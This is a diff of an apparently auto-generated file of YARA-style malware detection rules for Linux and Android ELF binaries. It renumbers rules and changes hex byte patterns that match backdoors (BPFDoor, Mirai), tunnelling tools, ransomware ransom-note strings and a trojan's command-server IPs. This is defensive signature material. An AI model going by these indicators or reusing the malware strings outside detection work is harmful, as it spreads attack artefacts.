_InfrastructureShared_22065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " @@ -274017,7 +289938,7 @@ rule _InfrastructureShared_20811{ ((#a_46_0 & 1)*16675+(#a_72_2 & 1)*29811+(#a_54_3 & 1)*8518) >=3 } -rule _InfrastructureShared_20812{ +rule _InfrastructureShared_22066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -274028,7 +289949,7 @@ rule _InfrastructureShared_20812{ ((#a_4c_0 & 1)*21539+(#a_29_1 & 1)*-160) >=2 } -rule _InfrastructureShared_20813{ +rule _InfrastructureShared_22067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " @@ -274041,7 +289962,7 @@ rule _InfrastructureShared_20813{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*25939+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=2 } -rule _InfrastructureShared_20814{ +rule _InfrastructureShared_22068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -274053,7 +289974,7 @@ rule _InfrastructureShared_20814{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25409+(#a_6c_2 & 1)*16943) >=3 } -rule _InfrastructureShared_20815{ +rule _InfrastructureShared_22069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 07 00 21 " @@ -274068,7 +289989,7 @@ rule _InfrastructureShared_20815{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*25857+(#a_e9_3 & 1)*18921+(#a_00_4 & 1)*-15047+(#a_72_5 & 1)*26736+(#a_3a_6 & 1)*19521) >=7 } -rule _InfrastructureShared_20816{ +rule _InfrastructureShared_22070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -274079,7 +290000,7 @@ rule _InfrastructureShared_20816{ ((#a_4c_0 & 1)*21539+(#a_4e_1 & 1)*9292) >=2 } -rule _InfrastructureShared_20817{ +rule _InfrastructureShared_22071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -274091,7 +290012,7 @@ rule _InfrastructureShared_20817{ ((#a_46_0 & 1)*16675+(#a_68_2 & 1)*26729+(#a_00_3 & 1)*67) >=4 } -rule _InfrastructureShared_20818{ +rule _InfrastructureShared_22072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 21 " @@ -274105,7 +290026,7 @@ rule _InfrastructureShared_20818{ ((#a_54_0 & 1)*18467+(#a_50_2 & 1)*17665+(#a_44_3 & 1)*25705+(#a_3a_4 & 1)*26228+(#a_2e_5 & 1)*31079) >=6 } -rule _InfrastructureShared_20819{ +rule _InfrastructureShared_22073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 06 00 21 " @@ -274119,7 +290040,7 @@ rule _InfrastructureShared_20819{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*21569+(#a_00_3 & 1)*0+(#a_23_4 & 1)*2+(#a_7c_5 & 1)*9984) >=3 } -rule _InfrastructureShared_20820{ +rule _InfrastructureShared_22074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -274129,7 +290050,18 @@ rule _InfrastructureShared_20820{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_20821{ +rule _InfrastructureShared_22075{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 42 50 46 44 6f 6f 72 2e 48 21 64 68 61 00 01 00 4b 03 89 c2 66 c1 ea 0f 01 d0 66 d1 f8 48 0f bf d0 48 8b 45 90 01 01 48 01 c2 0f b6 45 90 01 01 c1 e0 04 89 c1 0f b6 45 90 01 } //16675 + $a_88_1 = {0f b7 45 90 01 01 83 c0 02 66 89 45 90 01 01 0f bf 45 90 01 01 3b 45 90 01 01 0f 8c 90 00 01 00 24 03 3c 08 0a 49 48 c7 45 90 01 01 00 00 00 00 48 c7 45 90 01 01 3c 08 0a 49 48 c7 45 90 01 01 00 00 00 00 90 00 00 00 8c a5 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4d 69 63 72 6f 53 6f 63 6b 73 2e 41 00 01 00 18 01 4d 69 63 72 6f 53 6f 63 6b 73 20 53 4f 43 4b 53 35 20 53 65 72 76 65 72 01 00 2a 01 65 72 72 6f 72 3a 20 75 73 65 72 20 61 6e 64 20 70 61 73 73 20 6d 75 73 74 20 62 65 20 75 73 65 64 20 74 6f 67 65 74 68 65 72 01 00 2d 01 62 79 20 64 65 66 } //2305 + condition: + ((#a_46_0 & 1)*16675+(#a_88_1 & 1)*2305) >=1 + +} +rule _InfrastructureShared_22076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -274141,35 +290073,33 @@ rule _InfrastructureShared_20821{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*29285+(#a_64_2 & 1)*31074) >=3 } -rule _InfrastructureShared_20822{ +rule _InfrastructureShared_22077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 43 6f 4d 69 6e 65 72 2e 41 21 4d 54 42 00 01 00 0e 00 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 01 00 0f 00 43 50 55 4d 69 6e 65 72 5f 41 70 70 4c 6f 67 01 00 0d 00 4e 65 6f } //16675 - $a_6e_1 = {69 6e 65 72 5f 01 00 23 00 41 74 74 65 6d 70 74 20 74 6f 20 68 61 73 68 20 71 75 61 72 6b 20 77 69 74 68 6f 75 74 20 69 6e 69 74 21 01 00 16 00 61 6e 64 72 6f 69 64 2d 63 70 75 6d 69 6e 65 72 2f 32 2e 35 2e 30 00 00 8c a5 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 50 55 41 3a 4c 69 6e 75 78 2f 46 52 50 2e 41 21 4d 54 42 00 01 00 0e } //25934 - $a_61_2 = {65 64 69 65 72 2f 66 72 70 2f 01 00 32 01 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 6d 6d 2f 74 72 61 6e 73 70 61 72 65 6e 74 5f 68 75 67 65 70 61 67 65 2f 68 70 61 67 65 5f 70 6d 64 5f 73 69 7a 65 01 00 0c 01 4b 65 79 4c 6f 67 57 72 69 74 65 72 01 00 0c 01 66 72 70 2f 63 6d 64 2f 66 72 70 63 01 00 17 01 63 6c } //12033 - $a_74_3 = {4e 65 77 50 72 6f 78 79 4c 69 73 74 65 6e 65 72 00 00 8c a7 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 43 68 69 73 65 6c 2e 41 21 64 68 61 00 01 00 0c 01 47 6f 20 62 75 69 6c 64 69 6e 66 3a 01 00 0a 01 2d 2d 2d 2d 2d 42 45 47 49 4e 01 00 08 01 2d 2d 2d 2d 2d 45 4e 44 01 00 06 01 63 68 } //25961 - $a_6c_4 = {00 45 03 48 89 d9 48 89 c3 31 c0 e8 90 01 04 48 89 84 24 90 01 04 48 89 9c 24 90 01 04 48 89 8c 24 90 01 04 e8 90 01 04 48 89 d9 48 89 c3 31 c0 e8 90 01 04 48 89 84 24 90 01 04 48 89 9c 24 90 01 04 48 89 8c 24 90 00 00 00 8c a8 00 00 02 00 02 00 06 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 } //29545 + $a_6e_1 = {69 6e 65 72 5f 01 00 23 00 41 74 74 65 6d 70 74 20 74 6f 20 68 61 73 68 20 71 75 61 72 6b 20 77 69 74 68 6f 75 74 20 69 6e 69 74 21 01 00 16 00 61 6e 64 72 6f 69 64 2d 63 70 75 6d 69 6e 65 72 2f 32 2e 35 2e 30 00 00 8c a7 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 50 65 6e 74 65 72 61 52 61 6e 73 6f 6d 2e 41 00 } //25934 + $a_80_2 = {52 61 6e 73 6f 6d 4e 6f 74 65 2e 50 4e 54 2d 52 4e 53 4d } //RansomNote.PNT-RNSM 1 + $a_80_3 = {45 72 72 6f 72 20 77 72 69 74 69 6e 67 20 72 61 6e 73 6f 6d 20 6e 6f 74 65 3a } //Error writing ransom note: 1 + $a_80_4 = {50 6c 65 61 73 65 20 6e 6f 74 65 20 74 68 61 74 20 74 68 65 20 66 69 6c 65 73 20 69 6e 20 74 68 69 73 20 64 69 72 65 63 74 6f 72 79 20 77 65 72 65 20 65 6e 63 72 79 70 74 65 64 20 62 79 20 50 65 6e 54 65 72 61 } //Please note that the files in this directory were encrypted by PenTera 1 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25934+(#a_61_2 & 1)*12033+(#a_74_3 & 1)*25961+(#a_6c_4 & 1)*29545) >=5 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25934+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _InfrastructureShared_20823{ +rule _InfrastructureShared_22078{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_4c_0 = {50 55 41 3a 4c 69 6e 75 78 2f 46 52 50 2e 41 21 4d 54 42 00 01 00 0e 01 2f 66 61 74 65 64 69 65 72 2f 66 72 70 2f 01 00 32 01 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 6d 6d 2f 74 72 61 6e 73 70 61 72 65 6e 74 5f } //21539 - $a_65_1 = {61 67 65 2f 68 70 61 67 65 5f 70 6d 64 5f 73 69 7a 65 01 00 0c 01 4b 65 79 4c 6f 67 57 72 69 74 65 72 01 00 0c 01 66 72 70 2f 63 6d 64 2f 66 72 70 63 01 00 17 01 63 6c 69 65 6e 74 2e 4e 65 77 50 72 6f 78 79 4c 69 73 74 65 6e 65 72 00 00 8c a7 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c } //30056 - $a_6e_2 = {78 2f 43 68 69 73 65 6c 2e 41 21 64 68 61 00 01 00 0c 01 47 6f 20 62 75 69 6c 64 69 6e 66 3a 01 00 0a 01 2d 2d 2d 2d 2d 42 45 47 49 4e 01 00 08 01 2d 2d 2d 2d 2d 45 4e 44 01 00 06 01 63 68 69 73 65 6c 01 00 45 03 48 89 d9 48 89 c3 31 c0 e8 90 01 04 48 89 84 24 90 01 04 48 89 9c 24 90 01 04 48 89 8c 24 90 01 04 e8 } //19514 - $a_48_3 = {d9 48 89 c3 } //400 - $a_90_4 = {04 48 89 84 24 90 01 04 48 89 9c 24 90 01 04 48 89 8c 24 90 00 00 00 8c a8 00 00 02 00 02 00 06 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 41 74 68 61 72 65 73 64 6f 67 2e 49 21 64 68 61 00 01 00 17 03 57 65 6c 63 6f 6d 65 20 74 6f 20 90 02 10 21 20 25 73 20 25 73 90 00 01 00 11 01 50 4c 41 43 45 5f 48 4f 4c 44 45 52 5f 50 4f 52 54 01 00 0f 01 50 4c 41 43 45 5f 48 4f 4c 44 45 52 5f 49 50 01 00 0e 01 46 41 52 43 52 59 5f 53 55 43 43 45 53 53 01 00 10 01 46 41 52 43 52 59 5f 4f 50 45 4e 5f 46 41 49 4c 01 00 0c 01 2f 73 72 63 2f 65 78 70 6c 6f 69 74 00 00 8c aa 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 53 69 63 6b 61 6d } //-16335 + $a_54_0 = {3a 4c 69 6e 75 78 2f 50 65 6e 74 65 72 61 52 61 6e 73 6f 6d 2e 41 00 01 00 13 80 01 52 61 6e 73 6f 6d 4e 6f 74 65 2e 50 4e 54 2d 52 4e 53 4d 01 00 1a 80 01 45 72 72 6f 72 20 77 72 69 74 69 6e 67 20 72 61 6e 73 6f 6d 20 6e 6f 74 65 3a 01 00 46 80 01 } //18467 + $a_61_1 = {65 20 6e 6f 74 65 20 74 68 61 74 20 74 68 65 20 66 69 6c 65 73 20 69 6e 20 74 68 69 73 20 64 69 72 65 63 74 6f 72 79 20 77 65 72 65 20 65 6e 63 72 79 70 74 65 64 20 62 79 20 50 65 6e 54 65 72 61 00 00 8c a7 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 43 68 69 } //27728 + $a_2e_2 = {21 64 68 61 00 01 00 0c 01 47 6f 20 62 75 69 6c 64 69 6e 66 3a 01 00 0a 01 2d 2d 2d 2d 2d 42 45 47 49 4e 01 00 08 01 2d 2d 2d 2d 2d 45 4e 44 01 00 06 01 63 68 69 73 65 6c 01 00 45 03 48 89 d9 48 89 c3 31 c0 e8 90 01 04 48 89 84 24 90 01 04 48 89 9c 24 90 01 04 48 89 8c 24 90 01 04 e8 90 01 04 48 89 d9 48 89 c3 31 c0 e8 90 } //25971 condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*30056+(#a_6e_2 & 1)*19514+(#a_48_3 & 1)*400+(#a_90_4 & 1)*-16335) >=5 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*27728+(#a_2e_2 & 1)*25971) >=3 } -rule _InfrastructureShared_20824{ +rule _InfrastructureShared_22079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -274183,7 +290113,7 @@ rule _InfrastructureShared_20824{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29545+(#a_64_2 & 1)*28530+(#a_52_3 & 1)*17921+(#a_72_4 & 1)*28001) >=5 } -rule _InfrastructureShared_20825{ +rule _InfrastructureShared_22080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 06 00 21 " @@ -274198,7 +290128,7 @@ rule _InfrastructureShared_20825{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*20575+(#a_00_2 & 1)*1+(#a_41_3 & 1)*8448+(#a_68_4 & 1)*8514+(#a_63_5 & 1)*25705) >=2 } -rule _InfrastructureShared_20826{ +rule _InfrastructureShared_22081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -274208,7 +290138,7 @@ rule _InfrastructureShared_20826{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20827{ +rule _InfrastructureShared_22082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 05 00 21 " @@ -274221,7 +290151,7 @@ rule _InfrastructureShared_20827{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*27756+(#a_6f_2 & 1)*28792+(#a_61_4 & 1)*29283) >=3 } -rule _InfrastructureShared_20828{ +rule _InfrastructureShared_22083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,19 00 19 00 05 00 21 " @@ -274235,7 +290165,7 @@ rule _InfrastructureShared_20828{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*5376+(#a_20_2 & 1)*25964+(#a_74_3 & 1)*19759+(#a_2d_4 & 1)*8307) >=25 } -rule _InfrastructureShared_20829{ +rule _InfrastructureShared_22084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -274246,7 +290176,7 @@ rule _InfrastructureShared_20829{ ((#a_46_0 & 1)*16675+(#a_6f_2 & 1)*28493) >=3 } -rule _InfrastructureShared_20830{ +rule _InfrastructureShared_22085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " @@ -274259,7 +290189,7 @@ rule _InfrastructureShared_20830{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*27746+(#a_75_2 & 1)*26956+(#a_02_3 & 1)*-14134) >=3 } -rule _InfrastructureShared_20831{ +rule _InfrastructureShared_22086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -274272,7 +290202,7 @@ rule _InfrastructureShared_20831{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*29557+(#a_00_2 & 1)*21581+(#a_50_3 & 1)*1216) >=4 } -rule _InfrastructureShared_20832{ +rule _InfrastructureShared_22087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 03 00 21 " @@ -274284,7 +290214,7 @@ rule _InfrastructureShared_20832{ ((#a_4c_0 & 1)*21539+(#a_82_1 & 1)*-17918+(#a_65_2 & 1)*28261) >=1 } -rule _InfrastructureShared_20833{ +rule _InfrastructureShared_22088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -274296,44 +290226,19 @@ rule _InfrastructureShared_20833{ ((#a_46_0 & 1)*16675+(#a_77_1 & 1)*28192+(#a_69_2 & 1)*29289) >=2 } -rule _InfrastructureShared_20834{ +rule _InfrastructureShared_22089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4c 21 78 70 00 01 00 51 00 24 53 4b 53 32 30 2d 24 45 74 74 68 61 53 61 66 4f 6d 70 2b 31 37 33 2a 37 32 24 2c 4f 4c 50 49 48 28 24 68 6d 6f 61 24 43 61 67 6f 6b 2d } //16675 - $a_76_1 = {69 61 2b 31 36 2a 34 2a 36 33 30 37 2a 35 35 32 24 57 65 62 65 76 6d 2b 31 37 33 2a 37 32 01 00 14 00 6d 68 68 65 2b 30 2a 34 24 2c 67 6b 69 74 65 70 6d 66 68 61 01 00 13 00 24 2a 4a 41 50 24 47 48 56 24 30 2a 30 2a 31 3c 33 3d 3d 00 00 8c ac 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f } //18212 - $a_62_2 = {72 52 61 6e 73 6f 6d 2e 43 00 05 00 3b 03 48 89 e5 48 89 ef e8 90 01 04 48 8d 90 01 05 48 89 ef e8 90 01 04 48 89 df e8 90 01 04 48 89 c2 48 b8 90 01 08 48 2b 90 01 03 48 39 c2 0f 87 90 01 04 48 89 e7 48 89 de e8 90 00 05 00 3f 03 48 39 c7 74 05 ee e8 90 01 04 48 8b 90 01 03 48 8d 90 01 05 48 89 ef e8 90 01 04 48 89 c3 48 85 c0 74 21 48 89 } //25923 + $a_76_1 = {69 61 2b 31 36 2a 34 2a 36 33 30 37 2a 35 35 32 24 57 65 62 65 76 6d 2b 31 37 33 2a 37 32 01 00 14 00 6d 68 68 65 2b 30 2a 34 24 2c 67 6b 69 74 65 70 6d 66 68 61 01 00 13 00 24 2a 4a 41 50 24 47 48 56 24 30 2a 30 2a 31 3c 33 3d 3d 00 00 8c ae 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 53 69 6c 61 73 5f 43 75 74 } //18212 + $a_50_2 = {5f 4d 41 4c 5f 57 69 6e 6e 74 69 4c 69 6e 75 78 5f 44 72 6f 70 70 65 72 5f 41 7a 61 7a 65 6c 46 6f 72 6b 5f 4d 00 01 00 45 01 48 89 45 f0 c7 45 ec 08 01 00 00 c7 45 fc 28 00 00 00 eb 31 8b 45 fc } //12140 condition: - ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*18212+(#a_62_2 & 1)*25923) >=3 + ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*18212+(#a_50_2 & 1)*12140) >=3 } -rule _InfrastructureShared_20835{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 02 00 21 " - - strings : - $a_46_0 = {52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 43 65 72 62 65 72 52 61 6e 73 6f 6d 2e 43 00 05 00 3b 03 48 89 e5 48 89 ef e8 90 01 04 48 8d 90 01 05 48 89 ef e8 90 01 04 48 89 df e8 90 01 04 48 89 c2 48 b8 90 01 08 48 2b 90 01 03 48 39 } //16675 - $a_90_1 = {04 48 89 e7 48 89 de e8 90 00 05 00 3f 03 48 39 c7 74 05 ee e8 90 01 04 48 8b 90 01 03 48 8d 90 01 05 48 89 ef e8 90 01 04 48 89 c3 48 85 c0 74 21 48 89 c1 ba 07 00 00 00 be 01 00 00 00 48 8d 90 01 05 e8 90 01 04 48 89 df e8 90 00 00 00 8c ac 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 46 69 6c 65 63 6f 64 65 72 2e 41 43 21 4d 54 42 00 01 00 11 01 6d 61 69 6e 2e 65 } //4034 - condition: - ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*4034) >=5 - -} -rule _InfrastructureShared_20836{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 21 " - - strings : - $a_4c_0 = {52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 46 69 6c 65 63 6f 64 65 72 2e 41 43 21 4d 54 42 00 01 00 11 01 6d 61 69 6e 2e 65 73 78 69 5f 65 6e 63 6f 64 65 72 01 00 14 01 6d 61 69 6e 2e 6c 6f 63 61 6c 5f 64 72 6f } //21539 - $a_6f_1 = {65 01 00 14 01 6d 61 69 6e 2e 70 72 6f 67 72 65 73 73 5f 6c 6f 67 67 65 72 01 00 13 01 6d 61 69 6e 2e 69 73 5f 65 78 63 6c 75 64 65 5f 64 69 72 01 00 0c 01 6d 61 69 6e 2e 73 63 61 6e 5f 69 70 01 00 10 01 6d 61 69 6e 2e 72 65 6d 6f 74 65 5f 69 6e 69 74 00 00 8c ae 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 53 69 6c 61 } //24432 - $a_75_2 = {6c 2f 41 50 54 5f 4d 41 4c 5f 57 69 6e 6e 74 69 4c 69 6e 75 78 5f 44 72 6f 70 70 65 72 5f 41 7a 61 7a 65 6c 46 6f 72 6b 5f 4d 00 01 00 45 01 48 89 45 f0 c7 45 ec 08 01 00 00 c7 45 fc 28 00 00 00 eb 31 } //24435 - $a_48_3 = {d0 48 8b 45 f0 48 01 c2 8b 45 fc 48 63 c8 48 8b 45 f0 48 01 c8 0f b6 00 89 c1 8b 45 f8 89 c6 8b 45 fc 01 f0 31 c8 88 02 83 45 fc 01 01 00 0b 01 6f 75 72 5f 73 6f 63 6b 65 74 73 01 00 0c 01 67 65 74 5f 6f 75 72 5f 70 69 64 73 00 00 8c ae 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 55 50 58 5f 50 61 63 6b 65 72 00 01 00 15 00 61 6c 72 65 61 64 79 20 70 61 63 6b 65 64 20 62 79 20 55 50 58 01 00 1f 00 55 6c 74 69 6d 61 74 65 20 50 61 63 6b 65 72 20 66 6f 72 20 65 58 65 63 75 74 61 62 6c 65 73 01 00 4e 00 55 50 58 20 63 6f 6d 65 73 20 77 69 74 68 20 41 42 53 4f 4c 55 54 45 4c 59 20 4e 4f 20 57 41 52 52 41 4e 54 59 3b 20 66 6f 72 20 64 65 74 61 69 6c 73 20 76 69 73 69 74 20 68 74 74 70 73 3a 2f 2f 75 70 78 2e 67 69 74 68 75 62 2e 69 } //17803 - $a_00_5 = {03 00 06 } //0 - condition: - ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*24432+(#a_75_2 & 1)*24435+(#a_48_3 & 1)*17803+(#a_00_5 & 1)*0) >=6 - -} -rule _InfrastructureShared_20837{ +rule _InfrastructureShared_22090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -274345,7 +290250,7 @@ rule _InfrastructureShared_20837{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*0+(#a_74_2 & 1)*26656) >=3 } -rule _InfrastructureShared_20838{ +rule _InfrastructureShared_22091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -274357,7 +290262,7 @@ rule _InfrastructureShared_20838{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*22608+(#a_72_2 & 1)*26144) >=3 } -rule _InfrastructureShared_20839{ +rule _InfrastructureShared_22092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 06 00 21 " @@ -274365,26 +290270,42 @@ rule _InfrastructureShared_20839{ $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 4d 6f 72 74 76 69 73 2e 41 21 64 68 61 00 03 00 0d 01 39 34 2e 32 35 30 2e 32 34 35 2e 37 31 03 00 0e 01 39 34 2e 32 35 30 2e 32 34 35 2e 31 39 37 01 00 10 01 5b 2a 5d 20 45 6c 65 76 } //16675 $a_20_1 = {6f 64 65 01 00 10 01 5b 2a 5d 20 53 74 61 6e 64 62 79 20 4d 6f 64 65 01 00 1c 01 5b 2a 5d 20 52 65 63 65 69 76 69 6e 67 20 53 68 65 6c 6c 63 6f 64 65 20 44 61 74 61 01 00 14 01 4e 75 6c 6c 69 66 79 69 6e 67 20 52 65 67 53 65 72 76 65 72 00 00 8c af 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 55 50 58 } //29793 $a_46_2 = {53 54 52 49 4e 47 00 01 00 44 81 01 54 68 69 73 20 66 69 6c 65 20 69 73 20 70 61 63 6b 65 64 20 77 69 74 68 20 74 68 65 20 55 50 58 20 65 78 65 63 75 74 61 62 6c 65 20 70 61 63 6b 65 72 20 68 74 74 70 3a 2f 2f 75 70 78 2e 73 66 } //17759 - $a_74_3 = {00 22 81 01 74 68 65 20 55 50 58 20 54 65 61 6d 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 01 00 1c 81 01 50 52 4f 54 5f 45 58 45 43 7c 50 52 4f 54 5f 57 52 49 54 45 20 66 61 69 6c 65 64 2e 00 00 8c af 00 00 0e 00 0e 00 07 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e } //28206 - $a_43_4 = {61 73 68 65 6c 6c 2e 41 00 0a 00 0d 80 01 63 68 61 73 68 65 6c 6c 2f 6c 69 62 2f 01 00 0e 80 01 73 79 73 63 61 6c 6c 2e 41 63 63 65 70 74 01 } //30837 - $a_01_5 = {73 79 73 63 61 6c 6c 2e 72 65 63 76 66 72 6f 6d 01 00 0c 80 01 73 79 73 63 61 6c 6c 2e 42 69 6e 64 01 00 0e 80 01 73 79 73 63 61 6c 6c 2e 53 6f 63 6b 65 74 01 00 0f 80 01 73 79 73 63 61 6c 6c 2e 43 6f 6e 6e 65 63 74 01 00 10 80 01 73 79 73 63 61 6c 6c 2e 73 65 6e 64 66 69 6c 65 00 00 8c b0 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 50 61 74 70 } //4096 + $a_74_3 = {00 22 81 01 74 68 65 20 55 50 58 20 54 65 61 6d 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 01 00 1c 81 01 50 52 4f 54 5f 45 58 45 43 7c 50 52 4f 54 5f 57 52 49 54 45 20 66 61 69 6c 65 64 2e 00 00 8c af 00 00 09 00 09 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 } //28206 + $a_4d_4 = {61 63 6b 64 6f 6f 72 2e 42 21 4d 54 42 00 02 00 0e 01 64 65 63 72 79 70 74 5f 70 68 72 61 73 65 02 00 0c 01 69 6e 69 74 5f 70 68 72 61 73 65 73 01 00 12 01 6f 5f 70 61 6d 5f 61 75 74 68 65 6e 74 } //20527 + $a_74_5 = {01 00 12 01 6f 5f 70 61 6d 5f 6f 70 65 6e 5f 73 65 73 73 69 6f 6e 01 00 08 01 73 73 68 64 5b 25 64 5d 01 00 10 01 2f 70 72 6f 63 2f 25 73 2f 63 6d 64 6c 69 6e 65 01 00 10 01 2f 70 72 6f 63 2f 25 73 2f 65 6e 76 69 72 6f 6e 00 00 8c af 00 00 0e 00 0e 00 07 00 21 23 41 4c 46 3a 48 61 63 6b 54 } //25449 condition: - ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29793+(#a_46_2 & 1)*17759+(#a_74_3 & 1)*28206+(#a_43_4 & 1)*30837+(#a_01_5 & 1)*4096) >=3 + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29793+(#a_46_2 & 1)*17759+(#a_74_3 & 1)*28206+(#a_4d_4 & 1)*20527+(#a_74_5 & 1)*25449) >=3 } -rule _InfrastructureShared_20840{ +rule _InfrastructureShared_22093{ 